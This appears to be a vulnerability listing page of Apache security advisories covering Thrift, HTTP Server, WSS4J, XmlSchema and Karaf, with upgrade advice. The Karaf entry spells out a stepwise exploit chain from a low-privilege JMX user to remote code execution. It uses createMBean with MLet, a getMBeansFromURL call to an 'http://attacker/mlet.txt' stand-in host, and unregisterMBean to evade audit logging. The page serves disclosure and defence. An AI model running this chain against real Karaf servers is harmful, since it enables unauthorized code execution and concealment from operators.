Vulnerabilidades de Apache Software Foundation

improper handling of exceptional conditions, Missing release of resource after effective lifetime vulnerability in Apache Thrift java bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue.

Improper handling of length parameter inconsistency, Uncaught exception, Inefficient Algorithmic Complexity, Memory allocation with excessive size value, Initialization of a resource with an insecure default vulnerability in Apache Thrift Python, Ruby, Erlang, Lua, Dart, JavaME, Perl, PHP and D language bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which fixes the issue.

Asymmetric Resource Consumption vulnerability in Apache Directory LDAP API. A LDAP server using the LDAP API (like Apache DS) may consume 100% of a CPU core indefinitely when processing some badly crafted Telephone Numbers. This issue affects Apache Directory LDAP API: from 2.1.0 before 2.1.9. Users are recommended to upgrade to version 2.1.9, which fixes the issue.

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') response smuggling vulnerability in Apache HTTP Server via mod_proxy_uwsgi and a crafted uwsgi response with Transfer-Encoding. This issue affects Apache HTTP Server: from 2.4.30 through 2.4.68.

Missing authentication checks in mod_auth_digest in Apache Software Foundation Apache HTTP Server before 2.4.69 on all platforms allows an unauthenticated remote client to cause a denial of service (forced re-authentication) via forged Authorization headers when Digest authentication is enabled with AuthDigestNcCheck . Users are recommended to upgrade to version 2.4.69, which fixes this issue.

NULL Pointer Dereference vulnerability in Apache HTTP Servers mod_heartmonitor over unicast listener. This issue affects Apache HTTP Server: from 2.4.0 through 2.4.68.

An integer overflow in WSS4J's DER bounds check lets an oversized allocation pass validation. An unauthenticated attacker can send a SOAP message carrying an X.509 certificate whose SubjectKeyIdentifier extension declares a length of 0x7FFFFFFF; WSS4J decodes this while resolving the signature's key reference, before the message is authenticated, so an eleven-byte extension triggers a 2 GB allocation. Repeated requests exhaust server memory. Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4, which fix this issue.

In the WSS4J streaming (StAX) code, a signature reference using the WS-Security STR-Transform leaves an internal "inside signed content" flag permanently set. The WS-SecurityPolicy enforcer uses that flag to decide whether an element needs checking, so it stops evaluating SignedParts and SignedElements for the rest of the message. A policy requiring the SOAP Body to be signed is then satisfied even when the Body carries no signature, removing the protection against XML Signature Wrapping. Signature verification itself is unaffected. The DOM code is not affected.  Users are recommended to upgrade to versions 4.0.2 or 3.0.6 or 2.4.4 which fix this issue.

The Apache XmlSchema walker (xmlschema-walker) doesn't detect cycles in type derivation, substitution groups, model groups or attribute groups. A malicious schema with such a cycle can make the walker recurse until the stack overflows, causing a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.

Apache XmlSchema doesn't limit how deeply schema structures can be nested when it builds its schema model, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.

Apache XmlSchema doesn't limit how deeply schema imports and includes can be nested, so a malicious schema can make parsing recurse until the stack overflows. This causes a denial of service. Users are recommended to upgrade to version 2.3.3, which fixes this issue.

Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded:   private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.